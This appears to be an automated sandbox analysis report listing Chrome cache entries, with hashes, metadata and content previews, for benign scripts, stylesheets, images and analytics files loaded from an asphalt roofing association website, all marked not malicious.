Preview:	RIFF....WEBPVP8L..../,..... .$E.:ff.w>_..V.$;.y..p......I.9.$I........}e...!... .r.a.D)Rw.(E.....H1o3...>@.;."8..J..;...J.$.!TU[. @.RC..... @.~.........%.._..R....i.0...;."b.8......[7....i.... @..].O.q...l......C.d5l..O..Q........-p.....C.1:@.T..."..1R.._^.y.G....$I...:U.y.j?...W..H..\.8u..3.c.b.Ra.^.f%.\.C....g.....x.-..1q....W.:..F.kr.8 ....h..7o:..s.u..h..^3.......!pU..&.@g{.!.qo.u.f.8...ru;.s.....X....aW.....C..Y.LW..v.02....} .v.@`[...y.5...{.....HT..f.r.\.....:.A...g.Z.=...(...{.]..Q.d/.T.5......c..jJ\|...%.j....j.)..:.ch.X.....b9.V..?t.)`\|.]c.k:.N..-.mu6..;.P.K.z<.....?.L.1c.E=Z.,.2T_j..p.P>e.~..\|......K..B...?5..j.......]..{6SA...J.Szih....f..-.QwP:.n..X.L.{N.l.{".:.\|........"N...4Vbw.P.p.G/{.l....Y.yi......<..7].e.Z...x.GL6.w .;..\..9..Z[w+.N.E...$O..x.....r.=g....ke3.dF...I...k../...1.."T...:J.Rk9...<.5.A..'."...f7.~..1_'.A=bu.x...9...[G.].Z,.;k..\.S......~N.y.....A.V..._.NI.1.]........O....o...r.I..&w.\.u_\."+.0...N...'...

Chrome Cache Entry: 518

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (8843), with no line terminators
Category:	downloaded
Size (bytes):	8843
Entropy (8bit):	5.320791381113753
Encrypted:	false
SSDEEP:	192:W0/u8hcGG8JvuuWe9XJ3ua6OwIKbrfng5GYrw09zWLUGPJbIrWr/uTk7WODsmq:Wkhvv4uWGX0adwIKbrfng5GQw09zWLUF
MD5:	00C94EBF99246335611B341252A0BECF
SHA1:	BFE2B2E463C9118527CB2026F4AA36365354AC03
SHA-256:	CF45F347221313E93EF28477303C081AD9DB739336AE3ACB5694CD073D6BE603
SHA-512:	555C2C52C09E3FBE5A882C7C6DF743E94ADF48CEEA29CBDDC3C361289AB02BD621889267F207E194D6322348553A03D8FDB7D1A7F5867B63B267683BC8D49858
Malicious:	false
Reputation:	low
URL:	https://arma1.memberclicks.net/plugins/system/pc_includes/ajax_1.3.js
Preview:	function Jax(){var loadingTimeout=400;var iframe;this.loadingFunction=function(){};this.doneLoadingFunction=function(){};this.stringify=function(arg){var c,i,l,o,u,v;switch(typeof arg){case"object":if(arg){if(arg.constructor==Array){o="";for(i=0;i<arg.length;++i){v=this.stringify(arg[i]);if(o&&(v!==u)){o+=","}if(v!==u){o+=v}}return"["+o+"]"}else{if(typeof arg.toString!="undefined"){o="";for(i in arg){v=this.stringify(arg[i]);if(v!==u){if(o){o+=","}o+=this.stringify(i)+":"+v}}return"{"+o+"}"}else{return}}}return"";case"unknown":case"undefined":case"function":return u;case"string":arg=arg.replace(/"/g,'\\"');l=arg.length;o='"';for(i=0;i<l;i+=1){c=arg.charAt(i);if(c>=" "){if(c=="\\"\|\|c=='"'){o+="\\"}o+=c}else{switch(c){case'"':o+='\\"';break;case"\b":o+="\\b";break;case"\f":o+="\\f";break;case"\n":o+="\\n";break;case"\r":o+="\\r";break;case"\t":o+="\\t";break;default:c=c.charCodeAt();o+="\\u00";o+=Math.floor(c/16).toString(16);o+=(c%16).toString(16)}}}return o+'"';default:return String(ar

Chrome Cache Entry: 519

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (12008)
Category:	downloaded
Size (bytes):	12210
Entropy (8bit):	5.269129723540094
Encrypted:	false
SSDEEP:	192:hdez8wzjjsz1w1yX3XBJkB9Ss5c5w1E/ABhtzg9Qpeoe6+uH:eAwPjsXn70Uw1lpeoe6+uH
MD5:	086D3D4DF87884CC37AAA61761E82269
SHA1:	91AE92528AF17A06F6AA71B1293F4775484F43CE
SHA-256:	AD01F20B73510F213D68547E96EC5C90572FA1E40A1D1D3CF1F27B241D8D0D2D
SHA-512:	26AE61DD34AA8158B74B6B648A12E2FF6122B4071BA7B15AD912DB32E559525F45FBA0CC99003A07C93B1C6309B50B9C6665A12A0734B4C3EFD30E6EC6A647F4
Malicious:	false
Reputation:	low
URL:	https://arma1.memberclicks.net/jmc-assets/global-js/jquery.nivo.slider.pack.js
Preview:	/. jQuery Nivo Slider v3.1. * http://nivo.dev7studios.com. . Copyright 2012, Dev7studios. * Free to use and abuse under the MIT license.. * http://www.opensource.org/licenses/mit-license.php. /..(function(a){var b=function(b,c){var d=a.extend({},a.fn.nivoSlider.defaults,c);var e={currentSlide:0,currentImage:"",totalSlides:0,running:false,paused:false,stop:false,controlNavEl:false};var f=a(b);f.data("nivo:vars",e).addClass("nivoSlider");var g=f.children();g.each(function(){var b=a(this);var c="";if(!b.is("img")){if(b.is("a")){b.addClass("nivo-imageLink");c=b}b=b.find("img:first")}var d=d===0?b.attr("width"):b.width(),f=f===0?b.attr("height"):b.height();if(c!==""){c.css("display","none")}b.css("display","none");e.totalSlides++});if(d.randomStart){d.startSlide=Math.floor(Math.random()e.totalSlides)}if(d.startSlide>0){if(d.startSlide>=e.totalSlides){d.startSlide=e.totalSlides-1}e.currentSlide=d.startSlide}if(a(g[e.currentSlide]).is("img")){e.currentImage=a(g[e.currentSlide])}else{e

Chrome Cache Entry: 520

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text
Category:	downloaded
Size (bytes):	207
Entropy (8bit):	4.520829475849048
Encrypted:	false
SSDEEP:	6:2LGZFbz+UFvqX3yNfb1+22HWjGU9UIifoAMLDNe:28qiaK5/tMoAM3M
MD5:	2A5E09407B9EE5F309390EC090F4DCA9
SHA1:	8249EDA67EDE28AE157585E96A95B6CEE0E740A9
SHA-256:	81C96E1E00234B9D88DFFD0694F42F23BA96DB4D243D0673C3BC776FABA534FC
SHA-512:	DB6464BFD3AE3042AA8DCD3FBE80EF0383A60533992ABB9D9FE520BA8A6875E64063DFFF9743F4FC63260BBE8A7DA3F94FA929B828A653D6F43B192BAAB00C6C
Malicious:	false
Reputation:	low
URL:	https://polo.feathr.co/v1/analytics/match/script.js?a_id=603026366fd8bf4e42de107f&pk=feathr&cb=1713884081143
Preview:	(function (w) {. . . . if (typeof w.feathr === 'function') {. w.feathr('match', '6627cb818425280008d4a656', 'b73cbbe9-d3f6-43f9-891b-3186ee4712ab');. }. . .}(window));

Chrome Cache Entry: 521

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text
Category:	downloaded
Size (bytes):	16154
Entropy (8bit):	4.969731241142148
Encrypted:	false
SSDEEP:	96:6h0ottO+720WPxKixedCGpm1wh1pdeLKGKm17h1bPeD9GQm1Vh1kxUeG9Gbm1thF:9vwam36tqItxtGLDzksh0k0tWE
MD5:	46073B3DFC4C86BD1DDFB236A13ED132
SHA1:	B6A763C97EA74D033054E82512E5AA3F7D75129E
SHA-256:	41E487760D4FA333FE6A32EE1E108C8FF9AC7EE46888A76822AABDECAFCA2937
SHA-512:	49DB185BF75321D6BF3B443C5D92CA4429DC9963BA1BCA15AFBC496432D05EEB2BB485EFE26D905AD273F111535B8F29FAA9EEEF944AF49D80E47B7035E7F34D
Malicious:	false
Reputation:	low
URL:	https://www.asphaltroofing.org/wp-content/plugins/ultimate-responsive-image-slider/assets/css/slider-pro.css?ver=6.0.7
Preview:	/!. - v1.5.0.* Homepage: http://bqworks.com/slider-pro/.* Author: bqworks.* Author URL: http://bqworks.com/././ Core.--------------------------------------------------/..slider-pro {..position: relative;..margin: 0 auto;..-moz-box-sizing: content-box;..box-sizing: content-box;.}...sp-slides-container {..position: relative;.}...sp-mask {..position: relative;..overflow: hidden;.}...sp-slides {..position: relative;..-webkit-backface-visibility: hidden;..-webkit-perspective: 1000;.}...sp-slide {..position: absolute;.}...sp-image-container {..overflow: hidden;.}...sp-image {..position: relative;..display: block;..border: none;.}...sp-no-js {..overflow: hidden;..max-width: 100%;.}../ Thumbnails.--------------------------------------------------*/..sp-thumbnails-container {..position: relative;..overflow: hidden;..direction: ltr;.}...sp-top-thumbnails,..sp-bottom-thumbnails {..left: 0;..margin: 0 auto;.}...sp-top-thumbnails {..position: absolute;..top: 0;..margin-bottom: 4px;.}...sp-b

Chrome Cache Entry: 522

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (65536), with no line terminators
Category:	downloaded
Size (bytes):	125906
Entropy (8bit):	4.905875658511265
Encrypted:	false
SSDEEP:	1536:h61YcjaqY3oCO6CsIdzXZjjz5OBVPqbb9pXvDJMnzpXNBf7IISw+cQ/Yaq6:uxRbV
MD5:	88AA25488D7B8A3CB482BC9D3DD3EB61
SHA1:	979646C4CA466F8BFA2729D2F7E1DD20E345E5C3
SHA-256:	2EDBACFBC1FDAD83ED07564A3339C483BEB0B176F82ACC2D5356A50168CC647D
SHA-512:	95E70B581250A23171EEA0BB362D3116BEA5BAC016981DBF013A50EA0472FE8A6570D02E1D3C8468A25FF4255D70639822B6423ADE4D2E9DE546EE2E98F647B5
Malicious:	false
Reputation:	low
URL:	https://arma1.memberclicks.net/ui-login/v1/dist/styles.css
Preview:	.mat-display-4,.mat-typography .mat-display-4{font:300 112px/112px Roboto,"Helvetica Neue",sans-serif;letter-spacing:-.05em}.mat-display-3,.mat-typography .mat-display-3{font:400 56px/56px Roboto,"Helvetica Neue",sans-serif;letter-spacing:-.02em}.mat-display-2,.mat-typography .mat-display-2{font:400 45px/48px Roboto,"Helvetica Neue",sans-serif;letter-spacing:-.005em}.mat-badge-content._mat-animation-noopable,.ng-animate-disabled .mat-badge-content{transition:none}.mat-checkbox .mat-ripple-element{background-color:#000}.mat-checkbox-checked:not(.mat-checkbox-disabled).mat-primary .mat-ripple-element,.mat-checkbox:active:not(.mat-checkbox-disabled).mat-primary .mat-ripple-element{background:#3f51b5}.mat-checkbox-checked:not(.mat-checkbox-disabled).mat-accent .mat-ripple-element,.mat-checkbox:active:not(.mat-checkbox-disabled).mat-accent .mat-ripple-element{background:#ff4081}.mat-checkbox-checked:not(.mat-checkbox-disabled).mat-warn .mat-ripple-element,.mat-checkbox:active:not(.mat-check

Chrome Cache Entry: 523

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (2139), with no line terminators
Category:	downloaded
Size (bytes):	2139
Entropy (8bit):	4.957392272918885
Encrypted:	false
SSDEEP:	24:zXMZh1EJeJ89v5ubevJJQaAE8H63yR01e5p3gN3Ydhen+25DKYIokOYuLHSQfI41:PvpZAzH6iR0snQpNn+25ezoOqLwTG
MD5:	B72C1CBB1530A011A27BD9800F26765A
SHA1:	27B825C5D8255F33B8427A059D4545EBD65E1746
SHA-256:	A256FCCECAC3B32AB73C91D79A18747519A1A18023BE05465C933B03523A82E8
SHA-512:	63FEBB24BDB65C39ACC8D355DC5B20D3A1AD94AFC347AB2936C543D8B7A911C2F6D2C1C0146707CDB29BEA85A8F34E7FB6E76AAEE4BC0BEA212EA58835A58025
Malicious:	false
Reputation:	low
URL:	https://www.asphaltroofing.org/wp-content/plugins/woocommerce/assets/js/frontend/woocommerce.min.js?ver=7.0.0
Preview:	jQuery(function(s){s(".woocommerce-ordering").on("change","select.orderby",function(){s(this).closest("form").trigger("submit")}),s("input.qty:not(.product-quantity input.qty)").each(function(){var o=parseFloat(s(this).attr("min"));0<=o&&parseFloat(s(this).val())<o&&s(this).val(o)});var e="store_notice"+(s(".woocommerce-store-notice").data("noticeId")\|\|"");"hidden"===Cookies.get(e)?s(".woocommerce-store-notice").hide():s(".woocommerce-store-notice").show(),s(".woocommerce-store-notice__dismiss-link").on("click",function(o){Cookies.set(e,"hidden",{path:"/"}),s(".woocommerce-store-notice").hide(),o.preventDefault()}),s(".woocommerce-input-wrapper span.description").length&&s(document.body).on("click",function(){s(".woocommerce-input-wrapper span.description:visible").prop("aria-hidden",!0).slideUp(250)}),s(".woocommerce-input-wrapper").on("click",function(o){o.stopPropagation()}),s(".woocommerce-input-wrapper :input").on("keydown",function(o){var e=s(this).parent().find("span.description

Chrome Cache Entry: 524

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with CRLF line terminators
Category:	downloaded
Size (bytes):	56299
Entropy (8bit):	4.634086643593539
Encrypted:	false
SSDEEP:	1536:6j/DCFzKFabD8FTeEKhcCr05AC2Q6W1PT:41r
MD5:	CC619B8F4F17A124C5132689C42556EC
SHA1:	A0918E4BB897497C7A07E8F3F9B2D83DCFD3A7F0
SHA-256:	F0B91DE4407AF9B6ED7D8DE53449A981765D10A10103E8F545CDF8B870CDF982
SHA-512:	9799C8F844897957E34DBA75C9CFBA6FFF7B8423B3B100B05BD6A270EAF4D59EC449EA9E485FDF485A0B4F5019433C44EE61C9A21A9E4F09F02F18AACD2A2115
Malicious:	false
Reputation:	low
URL:	https://www.asphaltroofing.org/wp-content/themes/u-design/assets/css/frontend/layout/responsive.css?ver=3.3.8
Preview:	/.. U-Design Responsive Styles.. /....../ Hide responsive navigation by default /...selectnav { display: none; }..../ Mobile Screen ( smaller than 480px )*/..@media screen and (max-width: 480px) {.... #dropdown-holder #main-top-menu { display: none; }.. .selectnav { display: block; width:300px; }.. #main-menu { margin-top: 15px;}.. #navigation-menu { right: 10px; width: auto; }.... body {.. min-width: 320px;.. }.. .container_24 {.. width: 320px;.. }.. .container_24 .grid_1 {.. width: 4.167%;.. }.. .. .container_24 .grid_2 {.. width: 8.333%;.. }.. .. .container_24 .grid_3 {.. width: 12.5%;.. }.. .. .container_24 .grid_4 {.. width: 16.667%;.. }.. .. .container_24 .grid_5 {.. width: 20.833%;.. }.. .. .container_24 .grid_6 {.. width: 25%;.. }.. .. .container_24 .grid_7 {.. width: 29.167%;.. }.. .. .container_24 .grid_8 {.. wi

Chrome Cache Entry: 525

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PNG image data, 256 x 256, 8-bit colormap, non-interlaced
Category:	dropped
Size (bytes):	4741
Entropy (8bit):	7.930954494939082
Encrypted:	false
SSDEEP:	96:rQdUfmynw8uE5YX4XHcDfjQ0CeLN/6wj1zponelQEDg81iEAzmAg4u:GUfpQE+gH4fjfbZzponelQEDfh4u
MD5:	F6EBDA91CE1409F93DA747E7633695FC
SHA1:	0C2C2F451F2775F31482CCA693E0D555FC5EAFA8
SHA-256:	BD5B5AC450DE166B70C3AD1EA9C24BE32941DF342015A11029C2CA1DC32B537C
SHA-512:	B856A4C5D8683AB3D20A50F8CD98F02DD2CF0EE740487ED2A82CF2FFB6AAB6B2B7A9E27F7974E9EAF314A76816D813B1C17FCF15FB858537938291CF66CB8F22
Malicious:	false
Reputation:	low
Preview:	.PNG........IHDR.............k.XT....pHYs................6PLTE.............................quy......y}..........+.......IDATx....z#-...p.^v..e..............N"!.q.....r.F...@...\......./)C?.Y.V.\|TX...i.r..\|w.H... ./Rl..IK.....,....,.K..n/.`..(...".m.}..'8..YG.j......W.$..g...........#..Fx...q.."7m..B..+.V..Jy.!....,..?O..m8O...Q..:f.=;J.lk$/..n..........F......v...B7l.......#.I.Pv.0..d;....W..b.[M.n....%.[0...f...=..)..N...^+`N......r..E...w.L....s\a.+F.....Z..L..o..I.yM....S.lv..'A..v......x...N..!.....(..jl.Ra...~r......X{...K...O.l.......r......).s1.h..JF....Ub.........l.\;.u4Y...6z..3Y}...S.Ii...(@...l...../K.,mu.6v..../...B./=.=DRD..=...@.c..e2..UF....YI:..\$.#+.O.........7........}.V.v.<.r.q.....V.....Xg....=&.C2(...KxR.2..-.=...H.@>..3.........eEL.>....s.!...B.?Hx.Z..]&PY...d.F<..#>.49.B.J....%<.}.d.L.&....b...p..t.%..e/x......@<o.....9#u.......O..,9.T..f.V\>*...............af..,.....?......>M@..&P.......;q[h...X..@....j(......B...

Chrome Cache Entry: 526

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text
Category:	downloaded
Size (bytes):	32
Entropy (8bit):	3.7334585933443494
Encrypted:	false
SSDEEP:	3:2LGXpFwQAMLDNe:2LGZFTAMLDNe
MD5:	9661451032832F869C969FBFCB85BC8B
SHA1:	A680F072C27E72A8DCC6AD56B53D5286B31FF875
SHA-256:	EACFA4F711EACA1336FF82619C8A2D310DEC11266D594FBC7E5A91259CEBF848
SHA-512:	743D99385D34B889F11240EFB1BD5F19516376725081BD5A9428FB16458935C16B197685C7FCE462391B14E330DC2E327D31F4EAC5699A4DD603776A4AFF1055
Malicious:	false
Reputation:	low
URL:	https://polo.feathr.co/v1/accounts/603026366fd8bf4e42de107f/pixel.js?pk=feathr
Preview:	(function (w) {. .}(window));

Chrome Cache Entry: 527

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	GIF image data, version 89a, 1 x 1
Category:	downloaded
Size (bytes):	43
Entropy (8bit):	3.0314906788435274
Encrypted:	false
SSDEEP:	3:CUkwltxlHh/:P/
MD5:	325472601571F31E1BF00674C368D335
SHA1:	2DAEAA8B5F19F0BC209D976C02BD6ACB51B00B0A
SHA-256:	B1442E85B03BDCAF66DC58C7ABB98745DD2687D86350BE9A298A1D9382AC849B
SHA-512:	717EA0FF7F3F624C268ECCB244E24EC1305AB21557ABB3D6F1A7E183FF68A2D28F13D1D2AF926C9EF6D1FB16DD8CBE34CD98CACF79091DDDC7874DCEE21ECFDC
Malicious:	false
Reputation:	low
URL:	https://events.api.secureserver.net/t/1/tl/event?dh=www.asphaltroofing.org&dr=&ua=Mozilla%2F5.0%20(Windows%20NT%2010.0%3B%20Win64%3B%20x64)%20AppleWebKit%2F537.36%20(KHTML%2C%20like%20Gecko)%20Chrome%2F117.0.0.0%20Safari%2F537.36&client_name=scc-c2&cv=0.2.5&vg=f88fc3aa-100e-4cfc-bec1-5c4af53a6798&vtg=f88fc3aa-100e-4cfc-bec1-5c4af53a6798&dp=%2Fexcellence&trace_id=f6fbf5901c144742a9941b0b97d6420c&cts=2024-04-23T14%3A54%3A37.794Z&hit_id=6bf75c76-753a-4848-93b5-710ac32acb43&ea=pageperf&ht=perf&eid=traffic.tcc.instrumentation.navigation.timing&trfd=%7B%22ap%22%3A%22cpbh-mt%22%2C%22server%22%3A%22p3plmcpnl495282%22%2C%22dcenter%22%3A%22p3%22%2C%22cp_id%22%3A%227432260%22%2C%22cp_cache%22%3A%22%22%2C%22cp_cl%22%3A%228%22%7D&ap=cpbh-mt&vci=512435786&z=1888253348&tce=1713884071438&tcs=1713884071180&tdc=1713884077781&tdclee=1713884074166&tdcles=1713884074090&tdi=1713884074090&tdl=1713884072780&tdle=1713884071180&tdls=1713884071180&tfs=1713884071079&tns=1713884071074&trqs=1713884071439&tre=1713884073241&trps=1713884072762&tles=1713884077781&tlee=0&nt=navigate&LCP=4013&nav_type=hard
Preview:	GIF89a.............!.......,...........D..;

Chrome Cache Entry: 528

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PNG image data, 800 x 1000, 8-bit colormap, non-interlaced
Category:	downloaded
Size (bytes):	21194
Entropy (8bit):	7.807097912879698
Encrypted:	false
SSDEEP:	384:fF5J8IP3egYWHN5KtZ3Y1/rEJEehebJ0boDZWdkr45R8jgocw9:NbTPOhW/AZ3mrEq4CWFH6
MD5:	DF205B5C1D6B0A5B165504FB7A17EC65
SHA1:	DEB18A1C03B4EDE708B15BC5EEED0B2A2D59440B
SHA-256:	10CC8F265C09F7FB101F107A39E3C36701D90027AE4137679FEF5B995C46BE14
SHA-512:	4D83F830F62ADAA89F090686708135C002E19C0EFD67E30F50D4E2D8447AC59C6890314D136037ABEB61817FE90E2208F6CDA8CC10B4E6FB79FB543D3B4E1593
Malicious:	false
Reputation:	low
URL:	https://www.asphaltroofing.org/wp-content/uploads/2023/08/WebCard3_Craftsmanship.png
Preview:	.PNG........IHDR... ...........j.....PLTE..qYW......mRN..~N86................................................................}.{z.stwww~ts.rp.jg~ec{cbvedz_]fffkVShONUUUbNK^KIeGBWA?Z>;\;7DDD]83H?9N:AO86Q52R3/B0.E,)333""".......n5.....tRNS.........,..Q.IDATx.....6....t.GQ.9.9...s...X...H...5K$A.....n[...k%.$..=.x.....d.y......5..@..@..@..@..@..@..@..@..@..@..@..@..@..@..@..@..@..@..@..@..@..@..@..@..@..@..@..@..@..@..@..@..@..@..@..@..@..@..@..@..@..@..@..@..@..@..@..@..@..@..@..@..@..@..@..@..@..@..@..@..@..@..@..@..@..@..@..@..@..@..@..@..@..@......................................................................................... .....................................................................................................................{..._>...>..............V...D....p.5.L9..@..._.\|.....L..O./....{....:.....T...........O?........Qr]....7d.O.F..^>.._..T@.Y.=....k...?~...o.1..m....@N..E....s.....~..a........~...R.x+.p]..\....y.../.g....q...\..pE.....k.

Chrome Cache Entry: 529

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	Unicode text, UTF-8 text, with very long lines (24733), with no line terminators
Category:	downloaded
Size (bytes):	24734
Entropy (8bit):	5.220679604877909
Encrypted:	false
SSDEEP:	384:9AMpGOjShtPyAb4lwP6FyrBXUrRQfvYS6FnjMozcJfde09pYfFCFpd3r:96PxPN4R4Y3h/ZmYMpd3r
MD5:	A1ADE95E21102C15D71EE475AC3818F6
SHA1:	13C693D748D12CC673B292261ADF54B4CE0C10DB
SHA-256:	D455AB882AF3A742E6C9680578E6A590681BDA99E34847F550F1F41A7D167969
SHA-512:	0900C84D5D53E660C0B114F3AF53462B50D8C49E6E61551147FC1425760CEEC8901197B8915277E774773EBB6B8203A28BE7C361B78721D47066B7DFF5053B91
Malicious:	false
Reputation:	low
URL:	https://www.asphaltroofing.org/wp-content/plugins/page-links-to/dist/new-tab.js?ver=3.3.6
Preview:	!function(t){var n={};function r(e){if(n[e])return n[e].exports;var o=n[e]={i:e,l:!1,exports:{}};return t[e].call(o.exports,o,o.exports,r),o.l=!0,o.exports}r.m=t,r.c=n,r.d=function(t,n,e){r.o(t,n)\|\|Object.defineProperty(t,n,{enumerable:!0,get:e})},r.r=function(t){"undefined"!=typeof Symbol&&Symbol.toStringTag&&Object.defineProperty(t,Symbol.toStringTag,{value:"Module"}),Object.defineProperty(t,"__esModule",{value:!0})},r.t=function(t,n){if(1&n&&(t=r(t)),8&n)return t;if(4&n&&"object"==typeof t&&t&&t.__esModule)return t;var e=Object.create(null);if(r.r(e),Object.defineProperty(e,"default",{enumerable:!0,value:t}),2&n&&"string"!=typeof t)for(var o in t)r.d(e,o,function(n){return t[n]}.bind(null,o));return e},r.n=function(t){var n=t&&t.__esModule?function(){return t.default}:function(){return t};return r.d(n,"a",n),n},r.o=function(t,n){return Object.prototype.hasOwnProperty.call(t,n)},r.p="/dist/",r(r.s=121)}([function(t,n,r){var e=r(30),o=r(2),i=r(39),u=r(6).f;t.exports=function(t){var n=

Chrome Cache Entry: 530

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	GIF image data, version 89a, 1 x 1
Category:	dropped
Size (bytes):	43
Entropy (8bit):	3.0314906788435274
Encrypted:	false
SSDEEP:	3:CUkwltxlHh/:P/
MD5:	325472601571F31E1BF00674C368D335
SHA1:	2DAEAA8B5F19F0BC209D976C02BD6ACB51B00B0A
SHA-256:	B1442E85B03BDCAF66DC58C7ABB98745DD2687D86350BE9A298A1D9382AC849B
SHA-512:	717EA0FF7F3F624C268ECCB244E24EC1305AB21557ABB3D6F1A7E183FF68A2D28F13D1D2AF926C9EF6D1FB16DD8CBE34CD98CACF79091DDDC7874DCEE21ECFDC
Malicious:	false
Reputation:	low
Preview:	GIF89a.............!.......,...........D..;

Chrome Cache Entry: 531

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PNG image data, 600 x 52, 8-bit colormap, non-interlaced
Category:	downloaded
Size (bytes):	3027
Entropy (8bit):	7.891672359223731
Encrypted:	false
SSDEEP:	48:2RHR4fY4DLNfTSUWF0HDpe7DUttq6EeeeSnGNbAcux5mPbMluuyNj/qe/26JqdnO:vZfyCHDpe7+tq6Xe1nib91MURNHOXA
MD5:	52451C569C0A6FC2E53BEA5251F0EC69
SHA1:	637FE53C795D860F500C469B112D2BEF4C6858B2
SHA-256:	56FB4C2B205DDD8A6D63133A13E7AE241E20CA2747A3B003A0CC74A15A5FB041
SHA-512:	24D2535174312AB6EB3ABBAD1DE5F56654D1230BC6B245B75B2BF6C198D199C9037A4B3A3C8368B3EB52B1813BFBAB8FE059D5BAA51E84B26EBA57A0BE10D1E0
Malicious:	false
Reputation:	low
URL:	https://www.asphaltroofing.org/wp-content/uploads/2023/07/button_click-here-to-view-armas-submission-tip-sheet-600x52.png
Preview:	.PNG........IHDR...X...4.....a......?PLTE...le.XP.I@..........................~.wp.ia.WO.E<.9/z-"s".Q.~-....tRNS.,b.......?IDATx...n$..@=..}W...^..Vv..... "A.-..EJF........G...y..._o].?.>..N>.;W.[.y..z?\..).~.}...w._o.G.G^....8.#?..N.u.G.jG.G~@.............9`.9`.9`.9r.:r.:r......6..JZ.q.....Q.r].(...(...l..W.R.]WP,..6.`;Is......R.....y^.T.t.R......./5...c7a.x....i.U...k...R..6...Z.v]5........U..B.gi.}..w5....8zl...O3X..Ku.......f...W.G.../mYtZ,(....iz..0...Jl(.N~.X. q.JR....A.^r..WV.mY...1_. L..H.u5#z95.'.../.x.eT.1.f..5.....K.....J.Cl.......0u.B.`G.-..,..$.V@...xJ.M...............7....h.X.j.]..W1]}^WK..`.? ..N..cO..F..YiX.*.R].S.~.v.v6.=..,..hk$...,4..F!J.!\|e>.....9...@W.{..DZk...Z...E_@h.........+.b .TE.'.Zo^...x.MC...bO. i....$Y...Ws .1..D.<..L..<...h2..!.u.+..c..e.A....Y.wB.Y.2jt......c./.X.4..;.K...#X]{}......g..<V....cy...w.V.g...j........`.Z.......`nj.N.Wk%b..f+.yY.....;X.Q;..FW.-Y.Pk7.B[`.Wz..1....}S. .XV(.@;N..G.....Dqz.....R..

Chrome Cache Entry: 532

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	gzip compressed data, from Unix, original size modulo 2^32 100943
Category:	downloaded
Size (bytes):	21229
Entropy (8bit):	7.987639237510308
Encrypted:	false
SSDEEP:	384:0qaPx+/cKgu3xCRtGHwT0LijsJrVhYeuKD/QaUwosJZko4EfslUtb81tuNaDd0:0rTukuQT024JrVhYeX4abZ4Ef2uoruAi
MD5:	62AD944738BD25DECD664930F67290C8
SHA1:	9B725EA5566B11A2CFFB242ED9F2F2CAFD403EB7
SHA-256:	6FC801679D40F4BBCEF05B8049D47A3A56DEABCF755F03B428F6AE27B505092B
SHA-512:	84A0421266317B20678E6BDEDC970CEA040CBB103355FE4AC63FD1D43D113266F4DCAFA257284A2F58BDF06E26BC792D1A4E3EC98A2C664F8E33FE7CC85172D2
Malicious:	false
Reputation:	low
URL:	https://www.asphaltroofing.org/
Preview:	...........{r...8..T.=..)..$..)K.hY..X~H.s.....!.......8...K..K....=3..$....;.J,........G..{O_.]\|xsL...>.i.1.%....2...jt./......<.8%.5...\.<.F0.rDQ..oz.(8...3.\go.......r_&......>~........}...a.../.6..u.<5...+.ipa..S.^S'h...~.kn...H.E.m:.\.....e@y?.Q...i..... HE...w....A.k..K.z.....#...._....1..oL...?.f.A0...d2).].o.......S.`.."..g..p.G]{.W...4.........P`....r.?.~..M,....\s...y..[>..V^......r6...(8.........\|.^.~... . ..dV....9!../N..P..?z.9..}.}"..P..%..I..E...t(.....}..p90.>c......Y.,tw..2...3M..Y}(....b...QfF........R....T5.F...'".`n....[`h&...q........Q.R.Zq4.....58.e...<....90<....w..z.u$.p@r.2....\/...-.n.d&V7..t.eR.}.......4lz..T...+.Q. 3..e...x...\|.8..\._..9EM.n>..7.Q.Y.Mz...n. .dh.(...E.y.qm..m.g.\-4........Z...w..^.,..V@..uG.5...]..`@..%.\.....k2..}.!.Z.P'..)...Lh'..F\|..V..s.8.....lz.:;m...QJZ.h`..9s.AN....g.......kZ.J..".....=....Z.0.CtrH.A...R..8.H..E .@...5..e........h.....f...cd8..rN..iy.3&P...M..hd[.Q!..!..i8.....B..B4+Ze"$

Chrome Cache Entry: 533

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	Web Open Font Format (Version 2), TrueType, length 13564, version 330.32636
Category:	downloaded
Size (bytes):	13564
Entropy (8bit):	7.985026992143037
Encrypted:	false
SSDEEP:	384:qxPlVb9GS6S7RzoTcC6mxHnTI4p3seFfigi:qJlVb9GTSmv6mZnrxsWRi
MD5:	E7D4BFA72A1F7D352FA6605501A3E2F2
SHA1:	AFD94B571EFF9DA7D85490BDB4C9874419CD260D
SHA-256:	D144631AF733437B73FBA8E784AB694A97FAB80476E82325F7A58F6408B28850
SHA-512:	073251ECB758FEC4077474E741765ED080ADB016B9580D130CE2F5262E2CF2235143439F7D387A4A8D3937EA3B61E3449752038AEFCF37FED0890BDAB1681704
Malicious:	false
Reputation:	low
URL:	https://www.asphaltroofing.org/wp-content/plugins/js_composer/assets/lib/bower/font-awesome/webfonts/fa-regular-400.woff2
